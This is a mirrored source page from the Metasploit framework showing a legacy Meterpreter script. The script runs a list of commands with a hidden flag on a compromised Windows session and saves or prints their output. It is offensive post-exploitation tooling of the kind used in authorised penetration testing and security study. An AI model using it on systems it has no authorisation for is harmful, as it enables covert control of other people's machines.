Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

multicommand.rb 2.9KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111
  1. ##
  2. # WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
  3. # If you'd like to improve this script, please try to port it as a post
  4. # module instead. Thank you.
  5. ##
  6. #Meterpreter script for running multiple commands on Windows 2003, Windows Vista
  7. # and Windows XP and Windows 2008 targets.
  8. #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com
  9. #Verion: 0.1
  10. ################## Variable Declarations ##################
  11. session = client
  12. wininfo = client.sys.config.sysinfo
  13. # Setting Arguments
  14. @@exec_opts = Rex::Parser::Arguments.new(
  15. "-h" => [ false,"Help menu." ],
  16. "-c" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."],
  17. "-f" => [ true,"File where to saved output of command."],
  18. "-r" => [ true,"Text file with list of commands, one per line."]
  19. )
  20. #Setting Argument variables
  21. commands = []
  22. script = nil
  23. outfile = nil
  24. help = 0
  25. ################## Function Declarations ##################
  26. # Function for running a list of commands stored in a array, returs string
  27. def list_exec(session,cmdlst)
  28. print_status("Running Command List ...")
  29. tmpout = ""
  30. cmdout = ""
  31. r=''
  32. session.response_timeout=120
  33. cmdlst.each do |cmd|
  34. next if cmd.strip.length < 1
  35. next if cmd[0,1] == "#"
  36. begin
  37. print_status "\trunning command #{cmd}"
  38. tmpout = "\n"
  39. tmpout << "*****************************************\n"
  40. tmpout << " Output of #{cmd}\n"
  41. tmpout << "*****************************************\n"
  42. r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
  43. while(d = r.channel.read)
  44. tmpout << d
  45. break if d == ""
  46. end
  47. cmdout << tmpout
  48. r.channel.close
  49. #r.close
  50. rescue ::Exception => e
  51. print_status("Error Running Command #{cmd}: #{e.class} #{e}")
  52. end
  53. end
  54. cmdout
  55. end
  56. # Function for writing results of other functions to a file
  57. def filewrt(file2wrt, data2wrt)
  58. output = ::File.open(file2wrt, "a")
  59. data2wrt.each_line do |d|
  60. output.puts(d)
  61. end
  62. output.close
  63. end
  64. def usage
  65. print_line("Windows Multi Command Execution Meterpreter Script ")
  66. print_line(@@exec_opts.usage)
  67. raise Rex::Script::Completed
  68. end
  69. ################## Main ##################
  70. @@exec_opts.parse(args) { |opt, idx, val|
  71. case opt
  72. when "-c"
  73. commands = val.split(",")
  74. when "-r"
  75. script = val
  76. if not ::File.exist?(script)
  77. raise "Command List File does not exists!"
  78. else
  79. ::File.open(script, "r").each_line do |line|
  80. commands << line.chomp
  81. end
  82. end
  83. when "-f"
  84. outfile = val
  85. when "-h"
  86. help = 1
  87. end
  88. }
  89. if args.length == 0 or help == 1
  90. usage
  91. elsif commands or script
  92. if outfile
  93. filewrt(outfile, list_exec(session,commands))
  94. else
  95. list_exec(session,commands).each_line do |l|
  96. print_status(l.chomp)
  97. end
  98. end
  99. raise Rex::Script::Completed
  100. else
  101. usage
  102. end